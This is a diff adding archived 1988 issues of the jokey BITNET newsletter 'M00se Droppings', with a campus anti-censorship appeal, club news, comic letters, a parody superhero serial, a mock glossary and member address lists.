magazines, etc.), +then to expropriate the goods, bank accounts, homes, automobiles, and +pressing plants of everyone associated with these disks' sales. +Artists targeted incidentally include Prince, Madonna, Debby Boone and +Bruce Springsteen. + +Here's how it's being done. Title I provisions of the bill legislate +child protection measures against child pornography, while *Title II +provisions make obscenity a federal crime via the power of Congress to +regulate interstate commerce.* Since the Supreme Court has ruled that +there is no federal standard for obscenity...this bill, if enacted, +would *empower any local extremist group to sue in federal court* the +publisher, manufacturer, or retailer of any material it deemed obscene +*according to it's own local standards.* In addition to the provisions +mandating seizure and forfeiture of property, Title II provides for +*IMPRISONMENT FOR UP TO FIVE YEARS.* This new legislation is the +crowning achievement of the ignominious career of former Attorney +General Edwin Meese who was forced to resign under fire. + +As of early July, the RIAA's legislative representatives thought the +law had a very low chance of passage. Belatedly, the RIAA has +dramatically altered it's opinion. + +Now it appears that the *Child Protection and Obscenity Enforcement +Act* will be attached to a package of 'anti-crime' legislation and +rammed through as part of a Fall 1988 election-year ploy. Senators +and Congressmen will virtually be forced to vote yes for the bill if +they want to demonstrate that they care about crime and the protection +of children. This bill has already garnered 237 Congressional +co-sponsors, and is drawing an overwhelming volume of mail - all of it +supporting the bill. + +Music In Action fully supports the Title I provisions of the bill. We +are strongly opposed to the Title II provisions aimed at denying +adults their constitutionally guaranteed First Amendment rights. + +Our opponents are well organized. So must we be. Our future depends +on it. Join us in the fight to preserve our right to creative and +artistic expression. Form a chapter of Music In Action on your campus +immediately and organize a *Music In Action Is Freedom In Action* +campaign. + +Thanks, + +Howard Bloom Bob Guccione, Jr. David Krebs + +Founding members of Music In Action + +For more information call : Laura Gordon 212/644-8900 + +> + +1) Since Sabre came up with the idea of the separate csnotice (m00sedrp) + for m00se droppings, I thought it might be a good idea if Pickle were + to send a 1-line bl00p to m00se when a new issue came out, so that + fellow m00se would know if they hadn't received an issue that they should + have, and could request it from csnews. + +2) I'm not sure on the actual mechanics and difficulty thereof, but wasn't + LISTSERV designed to alleviate distribution problems such as those that + we're having? It's spread all over the net, and we wouldn't need people + to log on and forward things.... If this seems like a good idea, let me + know and I'll pursue it further and try to figure out just what must be + done to get it onto a LISTSERV... shouldn't be all *that* tricky though... + + bl00pfully yours + Sindex + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +<< Yowzah! A great idea (in my opinion) from Jonathan Clemens. >> + +I will be attempting to start an Illuminati game over the network, here are +the parameters: + First 9 People to respond will be accepted. + List your group or groups of preference, IN ORDER, with your entry. + If there is enough interest, I will be looking for more moderators, so +if you have a deluxe set and would like to help, tell me that, too. + Deluxe set, all groups, will be used. + The Atlanteans, from expansion set #3, will also be used. + Propaganda and Brainwashing will not be used. + Building up power and resistance will be used. + Turnaround time will theoretically be one day per player turn. It will +most likely be slower than that, but it'll be a bit faster than PBM. + Hidden Illuminati may or may not be used--Vote on this when you enter. + All dice will be rolled by my vax, so impartiality is assured. + + All questions, entries, and misc. nonsense to: + Jonathan Clemens JSJPC1@ALASKA + +P.S. Weekly, I will get updates on victors & action to Pickle for publishing; + here's a fast way to increase your stature among the M00ses! + +P.P.S. No unexperienced players need apply. I know it sounds cruel but I + Absolutely refuse to type the entire rulebook into a file. Not only + would it be a royal pain, it would be illegal (not that I worry...) + +Oh, By the way, I know this will put distributors at an advantage. I intended +it that way; after all, they need SOME rewards... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< Some information from Spaceman Biff. This may help some of you, but + my mailer still refuses to talk to him. >> + +Ground control to Major Pickle: +Stand by for incoming drivel...... + +(okay, so it doesn't really rhyme. Haven't youse guys ever heard of an +assonance?) + +Yo, hey, hey! + + I'm given to unnerstan' that yer having trouble reaching me over +bitnet. There is a reason; CHEME is an ARPA host, and does not support +bitnet. However, there are ways about this evil antim00sian censorship. +All the machines at cornell (well, almost all. The PC's and the +dedicated mini's don't count) are tied in a campuswide net, and the I've +Been Moved mainframes are, in fact BITNETtable. It gets worse; my +account is on a cluster of vaxen (still the only correct plural of "vax") +and this tangles the address cluster even worse. Basically, what must be +done is to route mail to me at CHEME through crnlcs.... try sending to +"ZEMANIAN%CHEME@CRNLCS". This is most certainly simpler than the address +wolverine sent you, and may circumvent whatever bottleneck is blocking +the mail. Good luck. + + Spaceman Biff + +(the preceding message was brought to you as a public service of Sad +Little Unlaunchable Grounded Spacers (SLUGS), a subsidiary of Beatrice) + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< This from Mary Beth, about the MegaThr0ng-a-Th0n. >> + +I recommend having the next throng a thon during the end of January...where we +can all sleep on people's floors...and die of strep & other unknown diseases... +and drink lots of OJ.... + +kinda a reunion gathering.... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< A very important piece of information from Wolverine. >> + + Guess what I found at 7 Rays this weekend... + +"The Complete Discordian M00semas Celebration Handbook" +written by Andalusia the Heretic..all kinds of neat stuff in it, +including: + +"There are many ways to celebrate M00semas, all incorrect. Actually +sleeping or even hibernation are most favored of the Gods, but other +possibilities are: + +* Loafing, lounging, napping, 'veging out', pretending to meditate, + drifting in and out of light trances, hanging out, viewing TV + (on or off), and low-energy partying with very mellow friends. + +* Disconnecting the telephone and doorbell. + +* Playing cards or board games while making love in a tub filled + with fragrant warm oils. (if you don't move too fast.) + +* Feasting on ritual foods, such as a fresh loaf of bread in + Bullwinkle's image..fruit juice...roast goose...and of course, + chocolate m0usse. + +* Avoiding taboo activities such as shaving, worrying, weeding, + the lawn, housework, and thinking. + +* Decorating the altar with snack foods, several goblets of wine, + furry hand puppets, long rubber objects, and love sonnets + to yourself. + +* Dressing in brown, fuzzy robes and loafers, and invoking the Gods + in a hoarse, bugling voice as rarely as possible, from a + horizontal postion. + + So let us all honor the old ways on this day of holy days: +with minimal exertion, go forth and M00SE 0UT!" + +Well? + Frank. + +<< Let it be known that the date of the MegaThr0ng-a-Th0n (to be held, you + remember, as soon as possible after we get our one-hundredth chapter) + will, from that day forward, be known as M00semas. >> + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + +<< Spaceman Biff was busy this past week. Here are a couple more of his + submissions. The first is about mollusks, which begins with the same + letter as 'm00se'. >> + +Bl00p! + + Howdy illuminati? All is in disarray here, and therefore, hunky +dory. I thought I might share with y'all (I'm from the South, dammit! +Well, Long Island is in the southern portion of New York State, is it +not? Doesn't that count?) a bit of forensic m00siness that Herr Trelf +and I have been wrestling with, in hopes of solving some of life's +mysteries involving the briny deep. In response to an invite to a pahty +near hallowed evening, I made mention that oysters are a disreputable +lot, living only to be eaten alive and growing gallstones to be hung +about the necks of hair girls. The reply was swift and incisive, and gave +birth to The Trelf Letters, below: + +---------------------------------------------------------------------- + +Biffer, + Greetings! Knew you wouldn't be able to attend the party, but +didn't want you to feel left out, so I sent ya' an invite. AS for +druids, I was called a peddler ofcheap silks this weekend by one druid +in particular!!! All because I helped you with your Latin grammar! So +I guess we're both merchants now....and as for clams.. + + I once had confab with a clam + On the topic of green eggs and SPAM + It was quite jolly, talking with Rollie + Rollie the Multi-Valved Clam + And in the moonlight, Rollie and I + went hunting for chicks, keeping an eye + out for clam-hunters, who with their devilish sticks + would chase down the clams and cut off their----- + + + +And just why DID Julia Child spend so much time stuffing ducks? I +think it was sexual frustration..maybe we should right to Dr. +Ruth Westheimer...she'll answer stuff that Ann Landers* won't. +Ciao for niao, +See you Thurs. and Sun., +M00sepapa Wolfie + + +* - For more on Ms Landers' lack of response to valid questions, see + the accompanying letter, which was sent but not answered several + months ago. --S.B. + +---------------------------------------------------------------------- + + Sept 27, 1988 + +So! How's it going, Clamrade? + + Thanks for the response, but I think you missed something +crucial in there somewhere. I believe I was talking (and rather kindly, +mind you) about oysters, not those lowlife trollops; clams. Actually, I +guess clams aren't so bad, they simply come from a broken home (seagulls +will do that, you know); having been forced to leave their parents with +nothing but the shells on their backs. The ones I really hate are the +scallops. (oooh. That word gives me cold shivers down the spine when I +even type it, much less say it.) These filthy little buggers are the +most perverted swine of the deep. I'm not the only one who thinks so, +either. Why do you think Shell Oil uses the shell of a scallop (oooh.) +as their logo, huh? I'll tell you why: SEX SELLS!!!!!!!! Those miserable +smut-brokers are appealing to man's baser instincts. (and lets face it, +what red-blooded American male HASN'T felt sexually attracted to +scallops (oooh.) at one time or another?) Notice, however, that they +haven't the guts to admit it right out and call themselves the Scallop +(oooh.) Oil Company. Oh, no. They'd rather abuse a harmless word like +"shell" and then show a picture of one half the exoskeleton of a scallop +(oooh.) and send our teenagers' hormones racing. Makes me sick. See you +Thursday. + + + If hot dogs are a symbol of all that is + American, does that explain why George + Bush is trying to be such a wienie? + + + --Spaceman Biff!!!!!!! + +----------------------------------------------------------------------- + +Biffer, + Greetings! I realize that you were talking about Oysters, +but you know those mollusks...they all look alike...and I really +wouldn't worry about scallops ruining the morals of todays youth... +In the latest Reader's Digest poll, 90% of the youth polled said they +didn't take scallops seriously, and believed they were only a passing +fad, much like Morton Downey Jr. 7% said they believed that the +scallops were being prostituted against their will, and these youth +planned to write letters to Nancy Reagan about a "Scallops Say NO" +campaign. 1.5% believed it was just a bum wrap, 1% believed +the scallops were actually hippies re-mutated due to a latent effect +in the drug LSD, which, after an incubation period of 10 to 15 years, +would cause hippies from the Sixties to degenerate back to some form +of oceanic life, and .5% actually Worshipped the Scallop, claiming +"...the Scallop shall bring us back to the Holy. The Scallop shall +bring us back to the pure. The Scallop shall heal the ills of the +materialist world we live in. The Scallop is all-knowing. All +Praise the Holy Scallop. Ooommm!" [At which point the youths, who +called themselves The Holy Zionistic Scallop Movement, began doing +their Sacred Scallop Dance, which included stripping half their clothes +and hiding behind large cardboard cut-outs of the Shell logo.] + +So you see, there really isn't much to worry about scallops. they are +basically harmless little shellfish which make a damn good meal. Now, +if I were you, and since we are almost the same shape, it COULD happen, +I'd worry about that etel symbol of innocence, the baby deer. Think +about it...why would they just stand there and let themselves be run +over..could they be some form of strange occult worshippers? +food for thought from your M00sepapa, +Frnak + +----------------------------------------------------------------------- + +So that's the extent of the discussion to this point. Any additions +from interested illuminati would be muchly appreciated. Perhaps one day +we can accomplish one of my greatest personal goals in life; the +formation of a Pangalactic Mollusk Malignment Foundation. Unfortunately, +this name does not land itself to any decent acronyms, as "PMMF" sounds +suspiciously like the sound made by a m00se upon inhaling (gad!) +DORITOBREATH VAPORS!!!!!. I would have liked to have come up with an +organizational name that acronymizes (Aaagh! Beware the creeping +verbformers!) to OOOH, but there just aren't enough "O" words around to +do it. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< This is another Spaceman Biff submission. >> + + Oh yeah, about the Ann Landers thing. Youse guys might like the +following letter, which she hadn't the guts to answer. + +--------------------------------------------------------------------------- + + S. Tickelrod + + Dept of Ch. E. + Olin Hall, Cornell University + Ithaca, New York + 14853 + + June 8, 1988 + + + Ms. Ann Landers + + c/o The Chicago Tribune + Chicago, Illinois + + + Dear Ann, + + Not long ago you printed a letter from a bride-to-be who + was concerned that the practice of throwing rice at weddings + kills birds who eat the rice. (Presumably, it swells up in their + bellies.) Well, yesterday I read an article from an ornithologist + at Cornell University who says that rice is okay after all. I + thought I'd share a few helpful hints for those who are still + worried for the birds' safety: firstly, throw birdseed instead, + or, if that's too expensive, cook the rice first. That way, it + won't swell up anymore after it's eaten, and you can save money + too, since you get three cups of cooked rice to throw from every + cup of uncooked rice; a savings of 67%. + I hope I've saved a few brides some worry. + + Keeping the Faith, + + --S. Tickelrod + + Ithaca, New York + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< This one I'm stealing from WEIRD-L@BROWNVM. It's too good not to share. >> + +Ben Johnson comes to heaven, but in order to be alowed to get inside, +he must win a 100 m run against GOD. + +They both start very quickly, Johnson runs in the incredible time +9.79 (without doping), but GOD runs in 7.03 ... + +Johnson says : Hey man, havent you doped in order to make it so + quickly ? + +GOD says : Sure man, but this is not the first time ... + How do you think I was able to create the whole + world in only 6 days ? + +<< Could explain a few things, no? >> + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +Due to the size of this issue, a m00se list update will follow the issue. diff --git a/textfiles.com/magazines/M00SE/m00se15 b/textfiles.com/magazines/M00SE/m00se15 new file mode 100644 index 00000000..4c4f09b5 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se15 @@ -0,0 +1,440 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #15| Disclaimer: The Editor will place almost anything | Oct. 7, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Bl00p! Welcome to Issue 15 of M00se Droppings. This is quite a large +issue, with much good stuff in it. At the moment, I can't think of anything +interesting to say in an editorial capacity, so I won't. Enjoy! + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +<< The following was sent by GypsyLynx. The editor believes that this may + be another unconfirmed Sabre sighting. >> + +The Daily Orange, Thursday, October 7, 1988 + + A 500-pound bull moose is on the loose in downtown Boston and no one has +been able to track down the animal. + The moose has been on the rampage throughout the western suburbs of the +city. A local television station has nicknamed the animal, which has somehow +found his way down from Maine, "Metro Moose." + There have been fifteen reported sightings of "Metro Moose," the last when +the wild animal was hit by a car Monday morning. Authorities have not seen the +moose, who has become a folk hero in the area. + The Boston Police Department has put an all points bulletin out on "Metro +Moose." Anyone seeing "Metro Moose" is strongly advised to stay away from him. +................................................................. + +All right, all right, who's been running loose in Boston wreaking +havoc?? :-) + GypsyLynx + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +<< At last, the conclusion of Super-M00se's first adventure! Read, and thrill + to the excitement! >> + + ***-> The Adventures of Super-M00se <-*** + --- ---------- -- ----- ----- + + + Forward- All that follows is pure fiction and fallacy, with most rip-offs + being done on purpose. All puns on purpose and all violations + acknowledged. Any resultant health problems due to reading + these episodes are not the responsibility of the author. Please + RSVP to Commode productions. + + + When last we left our stalwart hero, his situation was not all that +spiffy. Let's take a peek and see if it has gotten any better. + + %%%%%%%%%%%%%%PEEK%%%%%%%%%%%%% + + "Urgh! Uhn! Yerg!" come the sounds of Superm00se's exertions as he +struggles valiantly to free him self from the soon to be tightly constricted +titanium steel alloy cables. There are few precious grains of sand left + + %%%%%%%%%%%%UNPEEK%%%%%%%%%%%%% + + Nope, guess that it hasn't. Well, now that you've had the obligatory +teaser to keep you around for the show, let's have a word from our sponsor. + + "We at Frito-Lays would like to say that this Dorito-Breath Man is in +no shape or form connected to our organization, no matter how fictional he is. +Furthermore, studies show that our Doritos product..." + At this point in the narration in walks a chap dressed in tattered blue +jeans and a faded Grateful Dead tee-shirt. + "... does not in any way cause a person to have lethal, near lethal, or +even mildly offensive odors on his breath. Also.." + "Um, excuse me sir. That last statement is a fallacy which I shall now +prove. Witness the empty bag of Doritos in my hand. Said bag I have recently +consumed without benefit of drink or mouth wash. Now to prove my point." + The chap moves in front of the announcer, and exhales boisterously in +his face. The announcer blanches and turns his head. + "Case closed." + +And now back to our show..... (poor rendition of 20th Century Fox theme music) + + %%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Great, Superm00se thought to himself glibly, what a way to go. First +day on the job and I botch it. + Looking at the hourglass, Superm00se noticed that he was almost out of +time. In a few seconds, he would be sliced m00se. What a chocolate way to go +(here the author indulges himself in a horrendously bad pun). + "Cut, Cut! Man, you've got to be kidding, right m00se? That's the +worst monologue I've ever heard. And this predicament is so, so, so... It +sucks! You'll never get the hang of cliff-hanger episodes at this rate." + Superm00se was aghast at this development. Where did all those lights +come from? And all those cameras? What is this, a movie set or something? +And who is this idiot yelling at me? + "Well, you're probably wondering what I'm doing here, and so am I, but +while I'm here, I guess some introductions are in order. I'm Brian DePalma. +I'm the guest director for this episode, or didn't you know? I find it rather +strange to be here courtesy of the mind of some demented college student, but +what the hell. So just who the fuck are you?" + "Well, I'm Superm00se." The cloying arrogance in Superm00se's voice +was unmistakable. + "You don't look so super to me, m00se face. In fact you look anything +but. So how do you propose to get out of this situation? I can only stop the +flow of sand in that hour glass for so long, you know. In fact, I'd say I've +got about two paragraphs left, give or take five." + "I'm afraid I'm flat out of ideas about what to do. I hadn't really +given it much thought. I was just going to flex my mighty m00se muscles, but +that doesn't seem to be working. I don't suppose you could offer any +suggestions?" + "Nope. Not allowed too." + After a brief but seeming eternal silence: + "Ummmm...... I don't suppose you could let me loose could you?" + "Hmmm... I don't know about that. Let me check." + Superm00se watched hopefully as DePalma sheafed through the script. + "Sez here that I can't directly aid you, so... However, I can get you +off the set. Scenery, get this friggin' m00se off my set. NOW!" + Two men in coveralls came in and removed Superm00se on a gurney, and +loosened the steel cables. + "Some free advice:" volunteered one. + "Don't ever show your face around here again," finished the other. + Unbelievable, thought Superm00se, but at least I'm free. Let's get at +the swine with the unbearable breath. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Superm00se wandered down the hall, listening with his m00sey hearing +for that foul villain. + "Ha ha! Superm00se will most likely be dead by now! I've triumphed. +Come children, It's time to review our demands." + Oh, that Dorito-Breath Man. Corrupting those poor, innocent children. +It's so, so, so.. anti-m00sey. + Superm00se followed the sound of Dorito-Breath Man's voice down to the +student's lounge. Peering up over the railing, he saw his adversary and his +eight young accomplices sitting hunched down over a table, talking softly to +themselves. Nearby was a large barrel with a box on top. Must be the bomb, +thought Superm00se. I could give a m00sey leap at him, but those kids are too +close, and if he breathes on me again.... + Ah-hah! That would do it. Superm00se quietly slunk away, going back +towards the teacher's lounge. It had to be here, it had to. Rummaging around +in the medicine cabinet in the lady's room, Superm00se found what it was he had +been looking for. + + LISTERINE! (Dun dun DUN!) + + If Dorito-Breath Man had any weakness, it had to mouth wash. It simply +had to be. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Superm00se stealthily moved over towards the stairs. It'll be risky, +he thought, but it's my only chance. I'll have to force Dortio-Breath Man to +drink this stuff. Moving close, Superm00se crouched behind a couch. He was +very close now. Close enough to... + "Hi there. Do you suffer from chronic halitosis?" + "WHAT? IT CAN'T BE YOU. YOU'RE DEAD. I KILLED YOU!" + "Dead, hardly." Superm00se replied, somewhat nonchalantly. In one +rapid movement, he opened the bottle of Listerine, stuck it in Dorito-Breath +Man's mouth, emptied the contents into his mouth, picked Dorito-Breath Man up, +shook him, then turned him up-side down. + "So tell me, how do you like that feeling of nice clean breath, hmmmm?" +Superm00se inquired innocently + "You, you, you, you... You cleaned my BREATH!!!" + "That's right. You want to come quietly or shall we do it the hard +way?" + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + "Well Mark, I have to hand it to you. You did a top notch job covering +that story in Kansas City." + "Thanks Cherri. Just doing my job." + "Yeah, sure Mark, sure... So, how about coming over to my place for +dinner tonight?" + "Well, I, ah, sure..." Mark stammered a reply, and blushed somewhat +noticeably. Cherri just laughed quietly to herself. + + (Yeah, well if you're a lech and expect that there's going to be + love scene, your wrong! So there! It was just dinner! [author + wags tongue at his readers]) + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + "So why was I unable to use my mighty m00se muscles to snap the cables, +and burst through the wall? Tell me please, oh great one." + "Strength and maturity, as with all things, come with time Mark. Have +patience. Besides, you truly being super would defeat the whole purpose of +this adventure." + "Which is?" + "I don't know." + + + -Finis- + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + +<< Yet more random babbling from Beez, one of the most talented random babblers + I have ever met. >> + +Beware of the newest computer virus! The virus started here at Syracuse was +started by an irate user who was laughed at for using an IBM pc instead of a +mainframe or Macintosh. He devized a most clever virus that takes all the files +on your account or disk and deletes them, then replaces them with exact copies. +These copies are exactly the same as the originals and run just as before. The +only way you can tell if you have been hit or not is a negative flow within +your account/disk. So next time you are working..bring your crystals and drain +the negative forces out. Stay tuned for more news on the NEW AGE VIRUS!! + +Boston University people..someone write on the plight you guys face with the +new dorm rules and tell us activist people what we can do to help! + +What if Unemployed Actors worked in Banks Instead of Restaurants: +(heisted from SPY magazine..the best magazine ever put out..no doubt) + +9:12 am : Man in torn t-shirt and faded jeans enters bank: surly 'method actor' + has finally arrived for work. + +1:28 pm : Competition amongst tellers to work at window closest to surveillance + camera results in tears and vicious gossip. + +2:59 pm : Bank robber's forceful "Put your hands up!" unleashes frenzy of + precision dancing. + +To spaceman biff (sp?) you may want to attend one of the central New York +chapters of the Klu Klux Clam (KKC) which are held in a farmer's field out in +Penn Yan, New York. Most members feel that since they have never seen the +ocean, let alone a clam, and that they are ignorant, but not ignorant enough to +hate fellow human beings, they decided to hate the clam. + +Pickle: add Vince Sison to the list of M00sers (VASISON@SUNRISE). He looked +over my shoulder when I was reading and said, "That's totally warped,dude! I +must get in!" + +I think people should support Dukakis because he has the eyebrows of a M00se I +once met in Fresno. + +Now for some interesting stuff and true too! + +Full name: The Loyal Order of Moose +History: Founded in Louisville, Kentucky in 1888 +Headquarters: Mooseheart, Illinois +Membership: 1,270,000 + +National Organization: The Moose Domain is governed from Mooseheart and +includes 40 state and provincial associations and 2,074 lodges in the U.S. The +Moose Domain also includes a community for orphans in Mooseheart and a senior +citizens' community called Moosehaven. Moosehaven is "a city of contentment" +where 'the meals are exquisite'. + +Qualifications for membership: Mooses cannot have a criminal record and must +believe in a supreme being. + +Motto: "Purity, Aid and Progress". + +Symbol: The Moose,because it is a big,strong animal "that does not kill and +protects its own". + +Costume: Moose dress is distinguished by the moose emblem: a moose head with +the letters P, A, and P. + +Women's auxiliary: Women of the Moose. + +Initiation procedure: The candidate commits himself to the principles of the +organization, participates in a 'Nine O'Clock' ceremony in which he silently +blesses Mooseheart, has a Moose code of ethics (which urges tolerance of +other's weaknesses, avoiding slander and love for one's fellow Moose) read to +him in front of the lodge altar and is then invested by the right hand of the +lodge governor. + +Social advancement: The advanced degrees of Moosehood are The Mooseheart Legion +of the World, Fellowship and Pilgram. + +Obligation: Members swear to keep secret everything that occurs within a Moose +lodge. + +The height of sublimity: The genuine compassion Mooses feel toward the orphans +of Mooseheart. + +Height of mundality: residents of the senior citizen's home, Moosehaven, +receive a 'sunshine allowance' of $25 per month. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< This is a letter that Kev, a new Loyola chapter, sent to Mommydammit, + requesting information about the M00se Illuminati. It contains some + interesting stuff. >> + +That m00se thing sounds very bizzare and uninformable. A trivial waste of +time, which is why, naturally, I loved it. + +How does one get to respond to people so obviously in need of obscure +weirdness? + +Let me know, I have to tell Biff that OOOH obviosly is the well known animal +neglige store, Oliver Orangutange's Of Hollywood. He said he was looking for +an anacronym. There you have it. By the way, don't get the edible underwear +from OOOH, it only comes in banana flavor. Not that I've tried it...I'd never +date an Orangutang. They're sloppy kissers... so I've heard. Plus they don't +even like jaZz, only The Monkees. Pretty pathetic. + +Actually, I had a good friend who was an orangutang once. He dated this really +hot babe and got her all sortsa stuff from OOOH. He was a nice guy, but he +always beat me in arm wrestling. Strong little bugger. He never shaved +either. + +Neither did his girlfriend, come to thing of it. Oh well, as long as they're +happy. + +I think he runs a retail store now, he tried running a video store but all he +would offer was Planet of the Apes and Bedtime for Bonzo reruns. + +Oh well. Like I said, let me know how to get in touch with these guys. I might +just fit in! + + +Thanks... +Kev + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< Wolverine has sent more information on M00semas. Some of the terms below + will be added to the M00se Illuminati dictionary. >> + + Here is yet another installment from that wonderful tome of eternal +knowledge, "The Complete Discordian M00semas Celebration Handb00k" by Andalusia +The Heretic. + +"Gl0ssary of Terms" + +M00stery -- Puzzle, enigma: or a drama in which a hairy brown + detective with horns investigate a murder. + +M00sive -- Huge, gigantic; as in "His organ was m00sive, and when + he played with it the sound was indescribable." + +Am00sing -- Humorous, entertaining; enough to make a m00se guffaw. + +M00sterbation -- Autoeroticism; i.e. groping with a m00se in the back + seat of your Toyota. Or, confabulating with your own + gentiles until your organism is aroused. [those are + the spellings in the book folks, not mine.] + +M00scow -- The capitol of the Union of Soviet M00sialist Republics. + +The Nine M00ses -- The spirits of inspiration and the arts. In + traditional Discordian lore, the Nine M00ses, + lived on Mount Pelican, and were named: + Mnem00synee: Memory of oversights forgotten until it's too late to do + anything about them. + Kralia: M00zak played over elevator sound systems. + Cleeno: History, revised or made up to emphasize the glorious + achievements of m00sekind. + Cloppity: Heroic poetry about m00ses, especially limericks, + especially bawdy. + Terpsychiatry: Dancing Freudian therapist. + Melpom-pom: Tragedies about high-school-aged m00ses who tried out for + Varsity Cheerleading and were rejected because of their + species. + Eroto: Erratic poetry about m00ses in love and one dies during + orgasm. + Eustace: Flute m00zak, or any knd of rhythmic noises through hollow + objects with holes in the end. + Polypropylene: Sacred songs about Bullwinkle, which there aren't + any but you could make one up. Like "Never, My + M00se, to Thee" or maybe "Good King M00sceslas." + +Well, that's only about a third of them..more to come later.... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< The Patrick Salsbury chapter, now known as Warm00se, has been busy, as + you'll see in a minute. This is an excerpt from a letter he sent me. >> + + Wait till you hear this! When M00se board was formed, it actually took +the place of JOKES on our bulletin boards. This meant that all the people who +had set pointers to let them know when there were new messages on JOKES got a +message saying there was new stuff on M00SE ILLUMINATI! Now, no one knew what +M.I. *WAS*, and what's even BETTER (and MORE confusing) was that they got +confused by the zeros instead of the 'o's! This meant that they were getting +something saying "New messages in M00SE" and when they typed it, got "MOOSE +does not exist"! Isn't that a MASTERPIECE of peaceful confusion?!?!?!? :) +And it was an accident, too! :) + + -Pat + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + + It was a glorious week for the M00se Illuminati! In addition to two +new chapters at Loyola, one at Siberacuse, and one at Trinity, we can thank the +Patrick Salsbury chapter (now known as Warm00se) for the addition of seven new +chapters. We are only 15 away from the 100 mark! + +Please add: + + +Loyola thr0ng KEVIN @ LOYVAX Kev + TERESA @ LOYVAX Teresa + +Siberacuse thr0ng VASISON @ SUNRISE Vince Sison + +Trinity thr0ng CWELLER @ TRINCC Black Adder + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +Replace the Buffalo chapter with this entire listing. + +Buffalo thr0ng V047KFZ7 @ UBVMSD Jon D. Evans + V050NRGD @ UBVMSD JetStar + V065L4KV @ UBVMSD Donald V. Freedman + V067LUFD @ UBVMSD Riff, DeathM00se + V068KY46 @ UBVMSD John J. Atkins + V085PWPZ @ UBVMSD Valerie J Hammerl + V096NHDQ @ UBVMSD Chris M00spaw + V291NHTP @ UBVMSD WarM00se diff --git a/textfiles.com/magazines/M00SE/m00se16 b/textfiles.com/magazines/M00SE/m00se16 new file mode 100644 index 00000000..0b80c967 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se16 @@ -0,0 +1,397 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #16| Disclaimer: The Editor will place almost anything | Oct. 31, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Hello again! First of all, I must sincerely apologize about the delay. I +was incredibly busy here, and simply didn't get to putting out the issue. +Hopefully this will put me back on track. + This will be the last issue to go out with Kami's distribution system. The +constant change in the number and locations of chapters will make it very +difficult for him to create a lasting system, and we now have a new +alternative. 